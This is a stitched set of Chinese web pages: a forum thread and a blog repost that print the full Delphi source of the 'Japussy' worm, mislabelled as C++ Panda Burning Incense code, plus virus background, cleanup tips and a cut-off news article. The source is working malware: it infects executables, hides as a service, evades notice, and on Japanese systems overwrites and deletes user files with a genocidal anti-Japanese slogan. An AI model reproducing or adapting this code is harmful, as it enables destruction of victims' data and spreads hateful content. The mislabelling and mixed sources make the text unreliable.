procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max < 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and

(SearchRec.Name <> '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and

(SearchRec.Name <> '..') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if Ext = '.WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings[i] + '', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList[i] + ':', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end.

{~~~~~~~~~~

完毕!

独孤九剑转载于DelphiBBS:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864}

免费评分

参与人数 1热心值 +1

收起

理由

Laign

+ 1

很详细的注释

查看全部评分

【吾爱破解论坛总版规】 - [让你充分了解吾爱破解论坛行为规则]

回复

支持 12

举报

Love0912

Love0912

当前离线

好友

阅读权限30

听众

最后登录1970-1-1

Love0912

发表于 2022-1-1 09:20

吾爱破解论坛没有任何官方QQ群,禁止留联系方式,禁止任何商业交易。

这个说实话是我目前见过写的最好的病毒之一,最起码想当年无人能破解这个。。。思路清奇真的棒

如何升级?如何获得积分?积分对应解释说明!

回复

支持 4

举报

第一次下海

第一次下海

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

第一次下海

发表于 2022-1-1 09:12

《站点帮助文档》有什么问题来这里看看吧,这里有你想知道的内容!

新年第一天看到这个。。。。。。。。当年的恐怖心情又勾起来了。。。。

呼吁大家发布原创作品添加吾爱破解论坛标识!

回复

支持 2

举报

kuiyanxu

kuiyanxu

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

kuiyanxu

发表于 2022-1-1 10:24

不明觉厉,大佬牛批

如何快速判断一个文件是否为病毒!

回复

支持 1

举报

qwert0312

qwert0312

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

qwert0312

发表于 2022-1-1 22:46

oxxo119 发表于 2022-1-1 20:07

这个病毒就不是他编写的,是经过修改当时的一个国外的病毒,提交了熊猫图标,然后就那样了

如果不是 他写的,他也不会当天就搞出专杀工具好吧,只能说,有一些代码是他使用了一些已知的代码整合的。

回复

支持 1

举报

sbnie

sbnie

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

sbnie

发表于 2022-1-1 09:33

没中过这玩意儿

回复

支持 1

举报

ahzl201

ahzl201

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

ahzl201

发表于 2022-1-1 09:03

这也太硬核了,先收藏,好好消化一下。

回复

支持

举报

lxj2004

lxj2004

当前离线

好友

阅读权限0

听众

最后登录1970-1-1

头像被屏蔽

lxj2004

发表于 2022-1-1 09:07

分析的最透彻的

回复

支持

举报

lxj2004

lxj2004

当前离线

好友

阅读权限0

听众

最后登录1970-1-1

头像被屏蔽

lxj2004

发表于 2022-1-1 09:09

我也想研究一下,如果可以请将样本加密压缩包病毒样本和杀毒程序发我一下,网盘链接,谢谢了,你这个分析整体上还是可以的

回复

支持

举报

741852waholzk

741852waholzk

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

741852waholzk

发表于 2022-1-1 09:13

好家伙,这是文艺复兴啊

回复

支持

举报

ddia00025

ddia00025

当前离线

好友

阅读权限20

听众

最后登录1970-1-1

ddia00025

发表于 2022-1-1 09:22

楼主厉害

回复

支持

举报

马云爱逛京东

马云爱逛京东

当前离线

好友

阅读权限30

听众

最后登录1970-1-1

马云爱逛京东

发表于 2022-1-1 09:38

本帖最后由 马云爱逛京东 于 2022-1-1 09:39 编辑

有点好奇cheatengine-i386.exe这几个可执行文件图标为什么不会变成涛之雨(熊猫烧香)的样式

回复

支持

举报

下一页 »

12345678910... 47 / 47 页下一页返回列表

高级模式

B

Color

Image

Link

Quote

Code

Smilies

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

发表回复

警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

回帖并转播

回帖后跳转到最后一页

免责声明:吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:Service@52pojie.cn

快速回复

收藏帖子

返回列表

搜索

关注微信

微信签到每天都送论坛币!

个人中心

个人中心

登录或注册

返回顶部

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG

( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-7 23:29

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复

返回顶部

返回列表

福利来啦 C++熊猫烧香病毒源代码(附有熊猫烧香病毒介绍和解决方法) - I'm_江河湖海 - 博客园

福利来啦 C++熊猫烧香病毒源代码(附有熊猫烧香病毒介绍和解决方法) - I'm_江河湖海 - 博客园

会员

周边

新闻

博问

AI培训

云市场

所有博客

当前博客

我的博客

我的园子

账号设置

简洁模式 ...

退出登录

注册

登录

I'm_江河湖海

博客园

首页

新随笔

联系

订阅

管理

福利来啦 C++熊猫烧香病毒源代码(附有熊猫烧香病毒介绍和解决方法)

 本文章为转载的,请看原文,谢谢

病毒介绍:

 

        “熊猫烧香”,是由李俊制作并肆虐网络的一款电脑病毒,熊猫烧香跟灰鸽子不同,是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但能感染系统中exe,com,pif,src,html,asp等文件,它还能终止大量的反病毒软件进程并且会删除扩展名为gho的文件(该类文件是一系统备份工具“GHOST”的备份文件,删除后会使用户的系统备份文件丢失)。

       被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。2006年10月16日由25岁的湖北武汉新洲区人李俊编写,2007年1月初肆虐网络,它主要通过下载的文件传染。2007年2月12日,湖北省公安厅宣布,李俊以及其同伙共8人已经落网,这是中国警方破获的首例计算机病毒大案。2014年,张顺、李俊被法院以开设赌场罪分别判处有期徒刑五年和三年,并分别处罚金20万元和8万元。

中文名        熊猫烧香                                        感染系统        Win9x/NT/2000/ME/XP/2003/Vista

外文名        Worm.WhBoy.cw                           制作人            李俊

程序类别    蠕虫病毒                                        泛滥时间         2006年底—2007年初

                                                                         病毒类型         蠕虫病毒新变种类

解决办法:

        【1】 检查本机administrator组成员口令,一定要放弃简单口令甚至空口令,安全的口令是字母数字特殊字符的组合,自己记得住,别让病毒猜到就行。

(修改方法:右键单击我的电脑,选择管理,浏览到本地用户和组,在右边的窗格中,选择具备管理员权限的用户名,单击右键,选择设置密码,输入新密码就行。)

        【2】 利用组策略,关闭所有驱动器的自动播放功能。

步骤1

       单击开始,运行,输入gpedit.msc,打开组策略编辑器,浏览到计算机配置,管理模板,系统,在右边的窗格中选择关闭自动播放,该配置缺省是未配置,在下拉框中选择所有驱动器,再选取已启用,确定后关闭。最后,在开始,运行中输入gpupdate,确定后,该策略就生效了。

        【3】 修改文件夹选项,以查看不明文件的真实属性,避免无意双击骗子程序中毒。

步骤2

        打开资源管理器(按windows徽标键+E),点工具菜单下文件夹选项,再点查看,在高级设置中,选择查看所有文件,取消隐藏受保护的操作系统文件,取消隐藏文件扩展名。

        【4】 时刻保持操作系统获得最新的安全更新,不要随意访问来源不明的网站,特别是微软的MS06-014漏洞,应立即打好该漏洞补丁。

       同时,QQ、UC的漏洞也可以被该病毒利用,因此,用户应该去他们的官方网站打好最新补丁。此外,由于该病毒会利用IE浏览器的漏洞进行攻击,因此用户还应该给IE打好所有的补丁。如果必要的话,用户可以暂时换用Firefox、Opera等比较安全的浏览器。

      【5】 启用Windows防火墙保护本地计算机。同时,局域网用户尽量避免创建可写的共享目录,已经创建共享目录的应立即停止共享。

        此外,对于未感染的用户,病毒专家建议,不要登录不良网站,及时下载微软公布的最新补丁,来避免病毒利用漏洞袭击用户的电脑,同时上网时应采用“杀毒软件+防火墙”的立体防御体系。

防御方法

       在2007年新年出现的“PE_FUJACKS”就是一种让广大互联网用户闻之色变的“熊猫烧香”。该病毒的作者为“武汉男生”(文件末签名”WhBoy”),这个版本的病毒已经集成了PE_FUJA CK和QQ大盗的代码,通过网络共享,文件感染和移动存储设备传播,尤其是感染网页文件,并在网页文件写入自动更新的代码,一旦浏览该网页,就会感染更新后的变种。

       不幸中招的用户都知道,“熊猫烧香”会占用局域网带宽,使得电脑变得缓慢,计算机会出现以下症状:熊猫烧香病毒会在网络共享文件夹中生成一个名为GameSetup.exe的病毒文件;结束某些应用程序以及防毒软件的进程,导致应用程序异常,或不能正常执行,或速度变慢;硬盘分区或者U盘不能访问使用;exe程序无法使用程序图标变成熊猫烧香图标;硬盘的根目录出现setup.exe auturun.INF文件 ;同时浏览器会莫名其妙地开启或关闭。

       该病毒主要通过浏览恶意网站、网络共享、文件感染和移动存储设备(如U盘)等途径感染,其中网络共享和文件感染的风险系数较高,而通过Web和移动存储感染的风险相对较低。该病毒会自行启动安装,生成注册列表和病毒文件%System%\drivers\spoclsv.exe ,并在所有磁盘跟目录下生成病毒文件setup.exe,autorun.inf。

       应用统一变为熊猫烧香的图标其实就是在注册表的HKEY_CLASSES_ROOT这个分支中写入了一个值,将所有的EXE文件图标指向一个李俊,所以一般只要删除此值,改回原貌就可以了。

                                                                                                        ——————————————

                                                                                                        以上资源来自百度百科

以下是熊猫烧香病毒源代码:

program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList[i] + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end.

本文来自博客园,作者:I'm_江河湖海,转载请注明原文链接:https://www.cnblogs.com/jhhh/p/16760625.html

posted @

2022-10-07 20:21 

I'm_江河湖海 

阅读(3266) 

评论(0) 

编辑 

收藏 

举报

会员力量,点亮园子希望

刷新页面返回顶部

公告

Copyright © 2024 I'm_江河湖海

Powered by .NET 8.0 on Kubernetes

YouTube博主实测病毒之王“熊猫烧香”,当年是它太强还是杀毒软件太弱?_澎湃号·湃客_澎湃新闻-The Paper

ube博主实测病毒之王“熊猫烧香”,当年是它太强还是杀毒软件太弱?_澎湃号·湃客_澎湃新闻-The Paper下载客户端登录无障碍+1YouTube博主实测病毒之王“熊猫烧香”,当年是它太强还是杀毒软件太弱?2021-06-23 17:46来源:澎湃新闻·澎湃号·湃客字号原创 文摘菌 大数据文摘大数据文摘出品作者:王烨2007年,有一款电脑病毒席卷大江南北,无论是个人还是企事业单位,电脑纷纷中招,网络一度瘫痪。这款病毒的特点是被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样样。因为这一特点,这款原名为“尼姆亚”的病毒被当时的网友称作“熊猫烧香”。当时,大部分中国人刚接触到电脑和互联网,有人甚至不知道电脑病毒是什么。在这样的情况下,“熊猫烧香”在短短两个月内,就衍生除了90多个变种,个人用户感染熊猫烧香的高达几百万,许多政府和企业单位也难以幸免。并且,当时市面上的杀毒软件对“熊猫烧香”都束手无策,据说,“熊猫烧香”的作者李俊在被捕后,还参与了杀毒软件的制作。“熊猫烧香”强悍的杀伤力可以说是直接推动了中国网民对于计算机安全认知。尽管这个十几年前的病毒放在现在几乎没有什么破坏性了,但是作为一代互联网的记忆,“熊猫烧香”依旧有着不少的关注度。在YouTube上,经常测试各种病毒的栏目“爱比较”就出过几款关于“熊猫烧香”的视频,如今已经有将近十万人观看。在知乎上,关于“电脑病毒「熊猫烧香」当年有多凶残?”的话题被浏览超过了1000万次。是当年的杀毒软件太弱还是“熊猫烧香”太强?在“熊猫烧香”爆发一个多月后,国家计算机病毒应急处理中心就发出“熊猫烧香”的紧急预警,彼时几乎所有的杀毒软件对“熊猫烧香”都束手无策。有的网民回忆,许多杀毒软件还没发挥用场,自己就先挂了。作为一种蠕虫病毒,“熊猫烧香”病毒首先将系统中所有.exe可执行文件全部被改成熊猫的图案,这一步其实是将病毒与用户电脑.exe文件绑定在一起,杀毒软件无法正确的将病毒与.exe分开。在遍历过程中,病毒还会删除扩展名为.gho的备份文件,更让人无奈的是“熊猫烧香”还会自动从指定服务器中下载更多病毒。腾讯安全联合实验室表示,“熊猫烧香”的厉害之处在于其传播性很强,几乎把可以传播的途径基本都用上了,包括exe捆绑传播、U盘传播、感染asp传播、网站传播、弱口令传播、auto传播等。那么“熊猫烧香”就真的厉害到无法应对吗?“爱比较”在一个视频中进行了实测,博主通过手动查杀结合360自动查杀,成功将“熊猫烧香”从被感染电脑中清除。视频地址:https://www.youtube.com/watch?v=RjYoqQmy_8I作者首先在一台WINXP电脑上运行了大小仅为27kb的“熊猫烧香”病毒,几分钟后,可以看到,QQ、迅雷等程序的目录下许多图标都已经被熊猫图案“占领”了。同时,任务管理器和注册表也无法打开,一打开就立马自动关闭。显然,“熊猫烧香”已经占领了这台WINXP电脑,接下来,博主试图通过CMD指令先找出电脑中的可疑进程。博主发现一个叫spo0lsv.exe的进程伪装成系统进程spoolsv.exe,于是博主通过taskkill指令将可疑进程结束,然后通过查询进程目录找到进程所在的位置,并将其删除,可以看到,此时任务管理器已经可以正常打开了。到这一步,电脑上正在运行的“熊猫烧香”病毒就已经被暂时遏制住了,但是“熊猫烧香”肯定在电脑各个地方都对自己进行了复制,因此下一步就是要将它们都找出来。这一步需要打开文件夹的隐藏选项,显然,狡猾的“熊猫烧香”已经篡改了注册表,通过常规方式是不能显示系统的隐藏文件的,因此还需要修改注册表将隐藏文件显示。然后,博主就进入C盘,发现有一个“熊猫烧香”的程序,还有一个自动运行的文件(只要打开磁盘就会自动运行),那接下来就是在磁盘、注册表中全面搜索这些文件和程序,然后将它们一一删除。重启电脑后,博主发现伪装的病毒进程已经不见了,但在QQ、迅雷等程序的目录下还是有“熊猫烧香”病毒,这时候贸然打开这些程序,还是会感染病毒。这时候作者选择用“360安全卫士11版”进行全面查杀,一共查出了290个可疑文件,一键删除后,电脑上所有“熊猫